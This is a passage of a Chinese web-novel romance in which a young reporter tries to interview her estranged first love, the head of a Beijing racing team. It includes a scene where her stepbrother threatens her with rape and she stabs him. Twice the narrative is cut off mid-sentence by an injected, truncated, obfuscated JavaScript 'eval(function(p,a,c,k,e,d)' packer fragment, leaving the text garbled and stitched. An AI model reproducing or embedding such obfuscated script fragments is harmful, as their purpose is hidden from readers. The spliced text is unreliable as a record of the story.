“说是记者,要采访老大。”于小帅努努嘴,“可惜咱老大铁石心肠,一听''记者''俩字儿,眼皮都没抬。” “这么漂亮都不见?”有人笑着吹口哨。 许小帅摇摇头:“你又不是不知道老大那性子,单身多少年了?身边连只母蚊子都没有!美女?压根不是他的菜!” “老大性取向真没问题?” “别瞎扯!我是听说啊,老大心里头一直装着个白月光……” “那你还让人家姑娘在那儿干等!” 于小帅嘿嘿笑:“老大不见,咱养养眼嘛,多漂亮!” 笑闹声被引擎轰鸣声盖过。新到的法拉利GT2正在做动平衡,赛级防滚架在阳光下泛着冷光。楼下越发热闹,小楼里却静得诡异。 谢卓宁斜倚着窗台,指间夹着根细支,目光沉静地穿透喧嚣赛道,精准落定在看台角落,那顶扎眼的粉色遮阳帽下。 周宴清顺着他的视线一瞥,嘴角立刻勾起了然又促狭的笑:“嚯,这位就是传说中让谢少‘守身如玉’的白月光本尊?” 烟蒂被无声摁灭在窗台,谢卓宁转身,修长的手指拿起桌上那份赞助合同,声音听不出情绪:“谈正事。” “成,说正事儿。”周宴清懒洋洋陷进沙发深处,指尖随意一弹,烟灰簌簌落下。“CSRC夺冠,国际赛的赞助费能往上抬抬。不过,你也明白……”他拖长了调子,意有所指。 “再抬。”谢卓宁指尖在合同扉页点了点,语气平淡却不容反驳,汗湿的背心领口微敞,露出线条凌厉的锁骨。“养这么支车队跟养祖宗似的,光靠你们那点赞助,老子得喝西北风。” 周宴清目光扫过窗外,轻笑一声:“还跟老爷子僵着呢?”话里的意思明明白白:顶级赛车烧的是金山银山,尤其国际赛,光飞机托运就价值不菲。谢家底蕴深厚,偏这位爷骨头硬得出奇,为玩车跟家里老爷子闹翻,硬是一分钱不沾。车队全靠他自个儿接私活、跑地下赛,生生扛到了现在。 谢卓宁摆摆手不想提,把合同一扔:“总之你再想想辙。” 周宴清看他视线又不经意地滑向窗外,笑了笑,起身踱到窗边,饶有兴致地打量看台上那抹纤细身影。 姑娘正拿着遮阳帽扇风,白裙裙裾被风掀起一角,阳光下,一截莹白的小腿晃得人眼晕。虽看不清五官,但那身段气质,确实有几分不食人间烟火的初恋味道。 “我说你啊,差不多得了。”周宴清侧头,语带调侃,“人姑娘搁太阳底下干晒俩钟头了,您就真忍心这么晾着?” 谢卓宁下颌线倏然绷紧,抄起桌上的矿泉水,拧开盖仰头灌了几口,喉结滚动,空瓶被攥在掌心,指节微微泛白。他沉默了几秒,声音低沉地开口:“在同一个地方跌倒两次?”他扯了扯嘴角,笑意未达眼底,“我没那份闲心。” 说完似乎更烦躁,踹了脚旁边的轮胎架,到底还是抄起讲机低吼:“让看门的把人轰走,看着碍眼!” 周宴清哈哈一笑。没揭穿他的嘴硬。某人明明心疼死了还端着,真逗。 4. 岁岁 许岁眠走出赛车场时,日头已西斜。手机屏幕上的打车软件徒劳地转着圈。薛晓京说得没错,这地儿确实不好接单。 她只好沿着蜿蜒的村道往前走,影子在身后拖得老长。 周宴清开着那辆黑色宾利下山,远远就瞧见前头一个单薄身影,走走停停,时不时抬手擦汗,举着手机四下张望,满脸焦灼。他嘴角噙着笑,脚下油门下意识松了松,车速慢了下来,同时瞟了眼副驾上闭目养神的谢少爷。 车速变化惊扰了假寐的人。谢卓宁缓缓掀开眼皮,许岁眠那略显狼狈的背影毫无防备地撞入视野。他眼神骤然一沉,薄唇抿成一条冷硬的直线。 “……”他没有立刻出声,但车厢内的气压瞬间低了几分。 “真不停?”周宴清又点了点刹车,车子几乎要停下,“这荒郊野岭的,可不好打车。” “你丫有病?”他声音彻底冷了下来。 周宴清耸耸肩,识趣地一脚油门到底。宾利引擎低吼一声,裹挟着呛人的尘土,嚣张地从许岁眠身边呼啸而过。 - 手机在掌心震了一下,薛晓京的消息跳出来:“采访怎么样了宝?” 许岁眠抬眼,天际线正一点点沉入暮色。她指尖敲了敲屏幕:“黄了。不过这儿的晚霞还挺好看。”消息发出去,顺手对着天边拍了张照片。 路边野花星星点点开了小片,她蹲下身,挑了朵紫的,指尖捻着花茎,轻轻塞进手机壳和机身的缝隙里。——紫色,是她的幸运色。 身后喇叭短促地响了两声。回头,一辆银色轿车停着,司机师傅探出头,京腔敞亮:“姑娘,走吗?进城顺道儿,捎你一段儿。” 许岁眠心头那点郁气被这意外的好意冲散了些,飞快地朝师傅拱了拱手——“走!谢谢您!”遮阳帽往头上一扣,人已经利落地钻进副驾。 后视镜里,赛车场的围栏越缩越小,玻璃房的灯光亮起,像颗遥不可及的星星。 …… 晚高峰堵得水泄不通,等许岁眠回到出租屋,墙上的挂钟已指向九点。她在楼下小店买了泡面,边泡边回薛晓京的消息。 “要我说还照旧招儿,给他丫睡了得了!有什么事儿是睡一觉摆不平的?”薛晓京的歪理一套一套的。 许岁眠盯着屏幕苦笑:“面都见不到……” 薛晓京秒回:“操!谁能想到他谢卓宁现在这么狠!想当年丫对你可是百依百顺啊!捧手里怕摔了含嘴里怕化了的….” 百依百顺么?许岁眠指尖顿在冰冷的屏幕上,那四个字像钥匙,瞬间拧开了回忆的闸门。 画面闪回,高二美术课,故宫写生,许岁眠在神武门急得直转圈,谢卓宁骑着辆自行车横冲直撞杀来,车铃“叮铃铃”响个不停:“让让让让!”车子猛地刹在她面前,车筐里晃悠着两个马扎,“快!给你占了断虹桥的好位子,去晚了就没地了!” “哈?你怎么……” “昨儿听你跟薛晓京唠嗑,说想画断虹桥上的那几只卷毛狮子!”他利落地跳下车,从帆布包掏出汗巾和冰镇酸梅汤,不由分说塞她怀里,“故宫里没冷饮卖,我特意跑冰窖胡同买的。” 还有高三那次晚自习,她烧得浑身骨头缝都疼,软绵绵趴在桌上。下课铃刚响,身后的谢卓宁“腾”地站起来,一把捞起她的书包甩肩上,另一只手就去搀她胳膊:“走,医院。” “你不上课了?”她声音虚得发飘。 “上个屁!课代表能点我名。”他把她裹得严严实实的围巾又紧了紧,语气凶巴巴,动作却小心翼翼,“但你丫不能烧坏脑子!” 点滴室里,他坐在旁边塑料凳上,左手攥着她的保温杯,隔几分钟就拧开盖子试试水温,右手刷刷地帮她抄着落下的笔记。护士进来换药,抿嘴笑:“小姑娘,你哥真够细心的。”少年耳廓瞬间漫上一层薄红,破天荒地没贫嘴反驳,只低着头,笔尖在纸页上沙沙作响。 最清晰的是高考结束那天傍晚。老槐树的浓荫下,谢卓宁蹲着,手里树枝有一搭没一搭地划拉着地上的土坷垃,嘴里念念有词:“..北大到北航,地铁就几站,骑车也成,开车?啧,悬,长安街那地界儿,堵得他亲爹都不认识…” “门儿清啊?”她故意逗他。 “废话!”他突然把树枝一扔,警惕地左右瞄了瞄,确认没人,猛地抓住她的手,按在自己怦怦直跳的左胸口。少年的心跳,滚烫又急切。 “岁岁,我…….我想,”他声音压的低低的,带着点明晃晃紧张和憧憬,“我想天天接你下课,带你去簋街吃麻小,去后海听吉他,咱俩就.就像那些搞对象的小情侣似的,上了大学后正儿八经谈场恋爱。” 蝉鸣声骤然隐去,她只听得见自己擂鼓般的心跳。槐花香混着夏日晚风拂过,远处传来鸽哨悠长的尾音,谢卓宁的白衬衫被风吹得鼓起,恍惚间,竟与他表白那晚的月光如此相像。 “行呀!”她指尖悄悄缠上他腕间那根褪色的红绳,声音带着笑,“不过先说好,麻小得买两种的,一种麻辣口,一种蒜蓉的。” “得嘞!”他眼睛瞬间亮得像落了星星,一个鲤鱼打挺站起来,手指并拢夸张地朝她比了个瞄准敬礼的姿势,“老婆指哪儿,我打哪儿!” - 泡面的油腥味猛地将许岁眠从回忆里拽出。她低头,面汤已经凝了一层白腻的油膜。端着面桶刚起身要去厨房,门板忽然被不轻不重地叩响了。 “谁?”她扬了声问。 外面没一点动静。 刚搬来一个月,这地址连薛晓京都不知道,除了房东……她心里嘀咕着,随手抽了张纸巾擦擦手,嘴角还残留着一点被回忆勾起的笑意,拉开了门。 笑容瞬间僵在了脸上。 楼道灯泡苟延残喘地闪着,光晕晃在他唇钉上,一点冷硬的亮。黑T恤绷着宽肩,小臂上盘踞的青蛇纹身,蛇头正冲着她眼睛。他叼着烟,嘴角歪着向上扯,烟灰簌簌掉在她脚边地板:“姐,不认得我了?” 后脖颈的汗毛“唰”一下全立了起来。许岁眠想也不想就去推门,门却纹丝不动。男人叼着烟的嘴角动都没动,一只肌肉虬结的手臂铁钳似地横卡在门缝里,巨大的力量冲击下,许岁眠整个人被震得踉跄后退,脊背重重撞上冰冷的墙壁,声音抖得不成样子:“你…你要干什么?!” “不干什么,”他慢条斯理地掏出个银壳打火机,“咔嚓”一声点燃了唇边的烟,猩红的火点在昏暗里闪烁,映着他森然的眼神,“就想问问,姐姐为什么要举报我呢?” 许岁眠嘴唇哆嗦着,指甲掐进掌心肉里,后背死死抵着墙,“你怎么知道是我?” 许屹骁嗤地一笑,浓重的烟雾喷在她惨白的脸上:“我想查,还查不到?”他往前一顶,高大的影子完全罩下来,令人窒息的压迫感,“怎么?当年没把我送进去,不甘心?这么迫不及待想给我添堵?” “滚开!”许岁眠的声音尖利起来,几乎是濒临崩溃的绝望。 他猛地伸手,带着薄茧的手指狠狠捏住她的下巴,强迫她抬起脸,对上他那双满是戾气的眼睛,“酒驾算个屁!”拇指重重碾过她下唇,留下火辣辣的痛:“要不我干脆干票大的?强''奸你怎么样?最好判个二三十年的,正好遂了你心愿,嗯?” “许屹骁你他妈有病!”许岁眠再也绷不住,捂住耳朵,眼泪决堤一样往外涌。 “别哭啊姐,”许屹骁非但没退,整个滚烫的身子反而更沉地压上来,胸膛紧紧贴住她。他轻易掰开她捂耳朵的手,死死摁在墙上,带着烟味的嘴唇粗暴地贴着她耳廓,冰凉的唇钉硌得生疼,“看你哭,我心疼。”他声音压得又低又哑,透着一股子令人毛骨悚然的温柔。 “变态!疯子!”许岁眠在绝望中挣扎,胡乱挥舞的手猛地摸到旁边小桌上冰凉水果刀,求生的本能压倒了一切,她几乎没有思考,用尽全身力气,握着刀柄,狠狠地捅了出去! 一股带着腥气的温热液体猛地涌出来,浸透了他单薄的T恤。许岁眠惊恐地瞪大眼。 许屹骁身体僵了一下,低头看看自己小腹,又抬眼盯住她,嘴角竟然咧开一个笑,眼睛亮得瘆人:“开心了?姐?要是这样能让你高兴…”他那只沾满血的手猛地裏住她握着刀柄的手,五指铁钳似的收拢,不容抗拒地带着她的手,朝着自己身体更深处狠狠一捅!“那就捅深点!来啊!” “疯子!你放开!”许岁眠崩溃地摇头,只想把手抽回来。 “对!老子就是疯子!就是变态!”许屹骁低吼着,额角青筋暴跳,死死攥住她想挣脱的手,“我他妈从初一就开始偷你内裤自''慰了!你不是知道?!” 许岁眠像是被一道惊雷劈中,浑身剧震,大脑一片空白!手像被烙铁烫到般猛的往回缩! 就在这瞬间,刺耳的手机铃声尖锐地划破了死寂! 许岁眠如同抓住救命稻草,趁他微怔的刹那,使出全身力气猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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远处不知谁家的电视里爆发出模糊的欢笑声,更近些,似乎有锅铲碰撞的声响,那股子油烟味混着辣椒炝锅的气息飘了过来,钻进鼻腔。许岁眠胃里猛地一阵翻搅,恶心得她俯身干呕起来,却什么也吐不出。 她就瘫坐在那儿,听着自己一声接一声的粗喘,像条被扔在岸上的鱼。 - 转天一早,手机在枕边嗡嗡震,薛晓京来电。 许岁眠从被子里艰难探出头,眼皮还沉,指尖虚弱划开接听。 “我说岁岁,昨儿怎么回事儿?电话打了好几遍都没人接,没事儿吧?”那头嗓门敞亮。 “没事…”许岁眠嗓子眼儿发干,声音沙沙的。 “真没事儿?” “嗯…就是工作太累,到家就睡了。”许岁眠含混带过。 “得嘞,没事儿就成。”薛晓京话锋一转:“对了,知会你一声儿,今儿谢大爷跑山,晚上指不定几点才回窝,甭去,省得扑空啊!” “好,知道了。”许岁眠从床上坐起身,揉了揉发涩的眼,“对了晓京,能帮我找个新房子吗?” “哈?”薛晓京声儿抬高了调,“你不是刚租了房子?怎么着,不行?” 许岁眠趿拉着拖鞋晃进洗手间,镜子里映出张没什么血色的脸。“嗯……离报社有点远,想换个近便的地儿。你门路广,帮我留意留意?”她随口扯了个由头。 “成!这算事儿吗!早说了那老破小儿不是地界儿,你非拧巴!包我身上!” “别太贵,两三千能打住最好。” “大姐!”薛晓京乐了,“咱这儿是四九城!两三千?您当是五环外大荒地儿呢?五环外这价都悬得慌!” “没事儿,你先看着,实在不行再说。”许岁眠语气淡淡的。 …… 撂了电话,身上才觉出一点不对劲儿,大姨妈竟然来了。 歪打正着的,正是她准时的日子。 换卫生棉条时,昨夜地板上那滩刺目的血迹突然在脑海中闪现,她下意识摊开手掌,几道深深浅浅的伤口才后知后觉地疼起来,抽着冷气“嘶”了一声。 许岁眠沉着脸,利索地给手上药、包扎。地板又拿消毒水仔仔细细过了两遍。接着一个电话找来修锁师傅,当即换了把结实的锁芯。 其实这会儿,她心里那点惊涛骇浪已经平了不少,比昨晚乍见那人时淡定多了。 就是……有点儿后悔。 昨儿晚上,怎么就没干脆利落给他捅死呢? 但她清楚,不能让那个人渣毁了自己的人生,更不能忘记当初回京的决心。 许岁眠敛了心神,屋里屋外收拾得利利索索。给自己灌了一大杯滚烫的红糖水,就着两片面包囫囵咽了。 抬手拦了辆出租,“师傅,去顺义。” 日头斜斜沉进高楼缝隙,给楼宇镀了层昏金的毛边儿。虽说不准谢卓宁他们几点能从山上下来,可她不想放过一丝机会。 5. 岁岁 果然,跟晓京说的一样,今儿赛车场里空空荡荡,一辆训练车都没见着影儿,估摸着全队都拉出去跑山了。 就剩维修区的几个技工,叮叮咣咣的敲打声在空旷的场子里格外清晰。 “小帅!快瞅瞅,门口那个……是许记者不?”有人扬着嗓子喊了一嘴。 于小帅正猫在一辆法拉利底下鼓捣,闻声蹭出来,抹了把脸上的油污,眯眼朝大门口望去。 可不是么,许岁眠正站在那儿张望,白衬衫下摆扎在高腰裤里,显得腰肢格外纤细。他赶紧扔下扳手,小跑着迎上去:“许记者!您怎么又过来了?还是……奔我们老大?” 许岁眠颔首,指尖轻轻拂过防晒袖:“他还没回来?” 于小帅嘿嘿一乐,摇摇头。 “那……我还能进去等会儿么?”许岁眠问得挺客气。 于小帅回头瞅了眼满地油污零件乱放的维修区,这地儿确实不适合姑娘家待着。他心一横,朝山脚那栋小楼努努嘴:“要不……您上小楼里歇会儿?那儿清净。” 许岁眠顺着方向看了眼,有点迟疑:“合适么?” 于小帅也想起上次老大飙着对讲轰人的场面,牙一咬:“嗐!没事儿!老大这不没在嘛!您先进去歇着,凉快。等他回来,我给您打对讲机递个暗号,您听见动静麻溜儿出来就成!” “那……谢谢了。” 于小帅领着她往小楼走,嘴上也没闲着:“许记者,您说您……怎么就非得逮着我们老大呢?我跟你说句实话吧,见着了也白搭!他那脾气,最烦记者了,尤其是拿笔杆子的,准保没个好脸儿。” 许岁眠低头走路,声音清淡:“这是我的工作。” 于小帅挠挠头,也接不上话茬了。到了小楼门口,他刷了门禁卡,“嘀”一声轻响,推开厚重的玻璃门,侧身让许岁眠进去:“您就在一楼活动活动得了哈,饮水机在那儿。二楼可千万别上去啊!”他压低了声音,神秘兮兮的警告,“那是我们老大的私人地界儿,非请莫入,后果……嘿嘿,自负。” 许岁眠顺着他示意的方向瞟了一眼通往二楼的楼梯,点点头:“知道了。” “得嘞!那您歇着,我先忙去了!”于小帅摆摆手,带上门走了。 门一关,一楼就剩许岁眠一人。她环顾四周:沙发、吧台、散落的赛车杂志、翻开的报纸、喝了一半的矿泉水瓶、随手扔着的赛车手套……典型的男人窝,一股子不羁的凌乱劲儿。 她微微蹙眉,职业病似的,顺手就开始归置。沙发上的杂志摞齐,空瓶子扔进垃圾桶,手套收拢放在茶几一角。门口的铁艺杂志架上,堆着不少英文原版期刊,封面都是些顶级车队和车手的专访。她整理好,抽了本最新的,在刚收拾干净的沙发上坐下翻看。 看得入了神,心思也不知飘哪儿去了。 外面山道上由远及近传来引擎的咆哮,紧接着轮胎摩擦地面的尖啸,她竟丝毫未觉。 直到小楼的门被“哐当”一声大力推开,一群裹挟着山风尘土和机油味的男人咋咋呼呼涌进来,才猛地将她惊醒。 “队长!今儿个那弯儿真不怨我!是轮胎抓地力……”一个大嗓门儿嚷嚷着,话没说完就被一个低沉冷冽的声音截断。 “再废话,就把你转给合作车队当路障。” 那声音低沉,却带着股莫名的威压,瞬间让整个空间安静了几分。许岁眠心口一跳,倏地抬起了头。 隔着几步的距离,她猝不及防地撞进一双深潭似的眼眸里。 谢卓宁就站在那儿。黑色赛车服拉链半敞,露出精瘦的腰腹,军靴上沾着山道的细沙,寸头被汗水浸得发亮,眼尾微微上挑,带着股子桀骜不驯的狠劲儿。 他眼神锐利如鹰,下颌线绷紧,手里随意夹着头盔,此刻眉头紧锁,正冷冷地看着她这个“不速之客”。 “卧槽?!”贺征在一片此起彼伏的抽气声中,眼珠子瞪得贼圆,使劲揉了揉眼睛,指着焕然一新的客厅,“我眼花了吧?这……这还是咱狗窝吗?这么干净?!” 他定睛一看沙发上的许岁眠,一拍大腿:“我去!田螺姑娘下凡了嘿!” 许岁眠神色自若地收回目光,放下杂志起身,语气职业而清晰:“不好意思打扰了,谢先生,我是先锋报的记者许岁眠,希望能占用您一点时间做个专访。” “记者?”“嚯!这么漂亮还贤惠的记者……”人群里顿时响起压低的议论和偷瞄的目光,都等着看老大的反应。 谢卓宁盯着她,喉结滚动了两下,指节捏着头盔带发出吱呀声。半晌,他重新抬起脚步,径直从她身边擦肩而过,带着一身汗水和机油混合的强烈男性气息,只留下一个冷硬的背影走向楼梯。低沉的声音不带一丝波澜,砸在寂静的空气里: “贺征,送客。” “……” 楼上传来“砰”的关门声,干脆利落。 贺征这才反应过来,嘿嘿干笑两声,搓着手凑到许岁眠跟前。 他可不是来送客的。 人家田螺姑娘好不容易来一趟,还帮他们收拾了狗窝,哪能让人就这么白跑一趟? “您好您好!我叫贺征,”他热情地伸出手,又捅了捅旁边一个年轻点的大男孩,“这是肖河。” 肖河赶紧跟着点头:“肖河。” 贺征麻利儿地把许岁眠重新请回沙发坐下:“您甭往心里去!我们老大就这脾气,对记者过敏!要不……您采访采访我得了?副队长,绝对够分量!”他拍着胸脯保证。 肖河在一旁毫不客气地拆台:“贺哥,你胆儿够肥啊?不怕老大下来削你?” “削就削!”贺征脖子一梗,又冲着许岁眠挤挤眼,“那也不能让咱田螺姑娘白忙活一场,是吧?” “你方便吗?”许岁眠看向贺征,没再坚持。 “方便!必须方便!”贺征喜出望外,低头看看自己骚粉色的赛车服,脸上还沾着道灰印子,“那啥……我要不要换身更帅气更MAN的行头?这样上镜不太好吧?” “没关系,”许岁眠拿出录音笔,“我不拍照,文字采访就行。” 肖河在一旁直接笑喷了。 - 楼上。 谢卓宁站在淋浴喷头下,冰冷的水流冲刷着贲张的肌肉线条,水珠顺着紧实的背脊滚落。 他闭着眼,眉宇间压着一股挥之不去的烦躁。草草冲完澡,套了件深色丝绒睡袍,湿发也没擦干,水珠顺着发梢滴落。打开冰箱前,拎出一罐冰啤酒,仰头灌了一大口,之后走到二楼的玻璃栏杆边,往下瞥了一眼。 一楼客厅,贺征正眉飞色舞地跟许岁眠比划着什么,肖河在旁边插科打诨。 看着那女人安静倾听的侧影,他心里那股无名火更盛,乱糟糟地堵着。 摸出手机,指尖在“霍然”的名字上悬停了几秒——打个电话让霍然直接把人领走最省事。但顿了顿,终究没按下去。目光不由自主地又在许岁眠身上停留了两秒,才烦躁地收起手机,转身回了房间,利落落了锁。 - 许岁眠结束采访后下山,拖着疲惫的步子给薛晓京打电话汇报战况。 “还行……采访到了一个副车手。”声音透着掉倦意。 “副的?也行吧……总比空手强。”薛晓京在那头问,“晚上聚聚?老地方?” “不了,大姨妈驾到,而且累得散架了。”许岁眠揉了揉酸胀的小腿。 “那更得放松啊!Spa去不去?新装修的会所,环境绝了!地址发你,我请!” 许岁眠捂着隐隐作痛的小腹,正沿着山路往下走,一辆眼熟的银色轿车缓缓停在她身边。车窗降下,还是那位面相和善的司机师傅:“姑娘,进城?捎你一段?” 这缘分……许岁眠简直要感动哭了。每次她累得半死的时候,这位师傅都像及时雨一样出现。她赶紧拉开车门坐进去。 临下车,她硬是多塞给师傅五十块钱。 “哎哟,姑娘,用不着这么多!顺路的事儿!”师傅挺不好意思,推拒着。 “您拿着!每次都麻烦您!”许岁眠不由分说把钱塞进师傅手里,道了谢才下车。 按照薛晓京给的定位,她走进一家名为“云之涧”的高端养生会所。薛晓京早到了,已经在包厢里舒舒服服趴着享受精油开背。 许岁眠感觉自己的腿都快不是自己的了,赶紧麻利地换了浴袍躺下。身下是柔软舒适的按摩床,耳边流淌着空灵的疗愈音乐,空气中弥漫着一股清雅宁神的幽香,紧绷的神经瞬间松弛下来。 她闭上眼,身后的技师手法娴熟地开始肩颈按摩。隔壁床的薛晓京正喋喋不休地吐槽着检察院里的糟心事儿,许岁眠听着听着,思绪却飘远了。 眼前晃过的,是今天在赛车场小楼里,与谢卓宁擦肩而过时,他那双深不见底的,带着审视和冷漠的眼睛。没一会儿,在暖意、香气和按摩的舒适中,她竟沉沉睡了过去。 她实在太累了,不知睡了多久。 迷迷糊糊感觉脸上有东西,睁开眼,正对上薛晓京一张贴着黑色面膜的脸,她蹲在床边,好奇地戳了戳许岁眠的脸颊:“宝儿,你睡得可够香的啊!呼噜都打上了,差点以为你厥过去了!” 许岁眠长长舒了口气坐起来,浑身骨头缝儿都透着舒坦,好久没睡得这么沉了。她吸了吸鼻子,那股让她安眠的幽香还在。目光寻到源头,是旁边矮柜上一个造型古朴的铜制小香炉,正袅袅吐着青烟。 “这个香……是什么?”她指着香炉问旁边的服务员。 “这是我们特供的安神香,古法秘制的,助眠效果特别好。”服务员微笑着解释。 许岁眠又凑近深深嗅了一下,那香气清冽中带着一丝甘甜,沁人心脾。“我能买点带走吗?” “真不好意思小姐,”服务员面露难色,“这香不是我们店里的常规产品,是专门请外面一位私人调香师定制的。如果您想要,我可以把她的微信推给您?” “好呀,太感谢了。”许岁眠立刻拿出手机,扫了服务员递过来的二维码。 “什么香这么神?”薛晓京也凑过来闻了闻,不过她向来精力过剩,神经大条,对气味也不太敏感,只觉得挺好闻。作为这里的VVVIP,她顺手掂了掂服务员刚拿出来的一个同款精致小瓷罐,晃了晃里面的香粉,对服务员眨眨眼:“得了,这罐还没开封的,就送我姐妹儿拿回去试试呗?” 服务员会意一笑:“没问题,薛小姐。”薛晓京顺手就把那罐香抛给了许岁眠。 做完SPA,两人神清气爽地出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俩人正打了个照面。 “哟,好巧啊。”赵西西顶着一头精心打理的光感大波浪,裹胸小短裙缀满水钻,衬得前凸后翘,皮肤嫩得能掐出水。她款款走近,眼波流转。 薛晓京眼皮一掀,没好气儿:“你怎么在这儿?” “这话该我问你吧?”赵西西轻笑,目光扫过薛晓京,又落到旁边的许岁眠身上,故意阴阳怪地说道:“现在这万八千的死工资,还够您二位‘造’吗?” “说得跟你不是死工资似的?”薛晓京火“噌”就上来了。拽什么拽?不就一电视台破主播?离了她爹妈,屁都不是! “那总比你强点儿,”赵西西红唇一勾,慢悠悠从镶钻的小手包里拈出一张烫金的顶级黑卡,纤纤玉指优雅地递给前台,“毕竟我还有副业,收入…很可观。不像某些人,除了啃老,没别的招儿了。”她下巴微抬,声音甜得发腻:“再续一年。” “你——!”薛晓京气血上涌。 许岁眠心道不好,刚想拽她走,薛晓京已经一巴掌拍在前台光洁的大理石面上,声音脆响:“续三年!”丫的! 小五十万啊!跟泼水似的就出去了! 许岁眠心尖儿都在滴血:祖宗诶…不至于…真不至于!人家赵西西不仅是台里力捧的小花,自己抖音坐拥百万粉丝,一条广告报价顶你一年工资!你这大冤种跟人家置什么气? … 出了门,冷风一吹,薛晓京也恨不得扇自己两巴掌。“完了,接下来只能喝西北风了…” 许岁眠同情地拍拍她肩膀:“往好了想,起码未来三年,你每周都能来享受一次顶级SPA…” “谢、谢、您、啊!”薛晓京抬脚虚踹了她一下,咬牙切齿,“我就是看不惯她那劲儿劲儿的样儿!打小就烦她!都一裤腿泥巴滚大的,搁这儿装什么名媛?谁不知道谁底细啊!” “长得也就那样儿,”薛晓京越说越气,“老娘开个十级美颜滤镜,我也能当网红!”她扭头盯着许岁眠那张无可挑剔的脸,义愤填膺:“跟你比?她提鞋都不配!” 还真不是薛晓京自带亲妈滤镜。许岁眠是实打实从小美到大的人间绝色,大眼睛高鼻梁樱桃唇,标准的鹅蛋脸,瓷娃娃般精致,连头骨都生得比别人小巧完美。刚上初一那会儿,隔壁学校的校草校霸就四处打听她。那时候,片儿区所有中学谁不知道京北一中的校花许岁眠?薛晓京走她旁边都觉得倍儿有面。 “可惜了,”薛晓京惋惜地叹气,“要不是你爸那事儿影响了政审,你早进总台了!你要进去了,还有她赵西西什么事儿?哪像现在,窝在小报里埋没了你这张脸。要不然,月入百万的美女主播就该是你!” “行了行了,不至于。”许岁眠赶紧打断她的“畅想”,“真想当网红,注册个抖音也成。” 薛晓京揉着还在肉疼的心口:“不行!得找个冤大头狠狠宰一顿,回回血!” 两人对视一眼,异口同声:“何家瑞?” “成!” 薛晓京掏出手机,一个电话就拨给了专业冤大头。 电话那头,何家瑞叼着烟,听着薛晓京噼里啪啦说完,含糊应了声:“行,来吧。” “不过我这儿有局呢,一块儿?” 挂了电话,他扫了眼烟雾缭绕的麻将桌,脸色有点犹豫…… “谁啊?”霍然叼着烟,打出一张牌。 “薛晓京。” “嘿!我一猜就是这丫头!”霍然乐了,“喊过来一块儿玩儿!臭丫头现在越来越矫情,跟哥哥们生分不少!” 他对面,谢卓宁懒洋洋地摸着牌,一声未吭。 6. 岁岁 谢卓宁今儿心烦,睡不着才临时被拉来的。本来周宴清打电话说要给他介绍个新赞助商喝一杯认识认识,他干脆就把人一块儿叫这儿了。 他旁边,周宴清对面坐着个西装革履的男人。三十出头的样子,气质成熟温润,正是莫振一。一身价值不菲的定制西装,跟谢卓宁这帮吊儿郎当的公子哥坐一块儿,显得有点格格不入。他打牌也一板一眼,话极少,几乎不参与桌上插科打诨的闲聊。 牌桌规矩,谢卓宁原本想着“输几把”给新赞助商联络下感情,可瞧着莫振一那气定神闲的样儿,似乎也看不上他这仨瓜俩枣的输赢,干脆就随性打,爱谁谁。 沙发上半躺着一个更嚣张的祖宗,怀里搂着个漂亮姑娘,正伺候他抽烟。烟雾缭绕中,他眯缝着眼,正是杨知非。 杨知非在谢卓宁他们这圈子里是最大牌的公子哥,背景也最“不可明说”。初三那年就从大院里搬走了,根儿扎在常人够不着的地方。当年北大也是拿着保送名额轻松进的。总之是个人物。 他名字其实挺有意思,家里老爷子给宝贝孙子取名时,引的是“知白守黑,非以明民”,盼着子孙低调内敛,沾点书卷气。结果呢?最浑不吝最张扬的就是他。 杨知非在烟雾里懒洋洋地开口,声音带着点戏谑:“晓京这丫头有点意思。你跟岁岁分手那会儿,她气得够呛,连带着跟我们这些哥哥都断了来往好些年。” 何家瑞赶紧接话:“不仅她来,还捎带一个呢。” “来啊!”霍然起哄,“正好妹妹多热闹!” 杨知非吐了个烟圈,慢悠悠补了一句:“不是许岁眠就行。” 谢卓宁摸牌的手几不可察地顿了一下。霍然立刻瞄向他脸色,这么多年,也就杨知非敢当他面儿提“许岁眠”仨字儿。 周宴清看着众人精彩纷呈的表情,坏笑着打趣:“啧,真羡慕你们这些一块儿长大的大院子弟,故事可真多。”他目光转向谢卓宁,带着点促狭:“哎,谢队,这个许岁眠……不会是个记者吧?” 何家瑞“卧槽”一声:“周总神算啊!就是记者!” “是么?”周宴清笑而不语,指尖轻轻弹了弹烟灰。他小时候在美国长大,大学毕业后才回来,国内人脉根基浅,就一个发小王勉跟他还算玩得熟,跟谢卓宁也是因为车队赞助才刚认识。他特爱听这帮大院子弟的陈年旧事,此刻更是嗅到了浓烈的八卦气息。 “我爱听这个,快说说,这位许记者,何方神圣啊?” 只杨知非不怕死地接过话茬,语气轻佻:“漂亮妞儿。当年追她的人,从这儿能排到护城河。眼光高,性子傲,手段嘛……勾勾小手指头,有人就恨不得把心都掏出来往上递。” 这个“有人”,指向性太强。 谢卓宁听着,自己反倒嗤笑了一声:“我他妈在你嘴里就这么不值钱?” “你以为呢?”杨知非挑眉,想起什么似的,“初中那会儿,那丫头随口一句想吃城西那家老字号的冰糖葫芦,某人就翘了下午的课,蹬着自行车横穿半个四九城,排了一个多钟头队,回来还被教导主任逮个正着,写检讨写得那叫一个情深意切…” “那最后怎么着了?分了?”周宴清追问。 空气突然安静了一瞬。没人接话。杨知非浑不在意地嗤笑,又来了句:“女人心,海底针,说变就变呗。谁知道呢?” “行了。”谢卓宁脸一沉,随手扔出去一张牌,声音有点冷,“你丫今儿磕了?话这么多?” 杨知非“嘶”了一声,像是被牌砸到了。 霍然一看气氛不对,赶紧打圆场:“行了行了,打牌打牌!” 莫振一依旧沉默,仿佛置身事外。 就在这时,包厢门外传来咋咋呼呼的女声:“饿死了饿死了!”紧接着门被推开,薛晓京风风火火闯了进来。 屋里几位爷都抬眼看去。 薛晓京定睛一瞅:哟?意外惊喜? 何家瑞看着她和后面跟进来的许岁眠,立刻招呼服务员:“赶紧的,给妹妹们上点吃的喝的!炸酱面要不要?” 薛晓京飞快地给许岁眠递了个眼色。许岁眠脚步顿了顿,视线平静地扫过烟雾缭绕的牌桌。 谢卓宁依旧低着头,专注地看着自己手里的牌,仿佛没察觉有人进来。 “不用了,谢谢。”许岁眠的声音清脆利落。 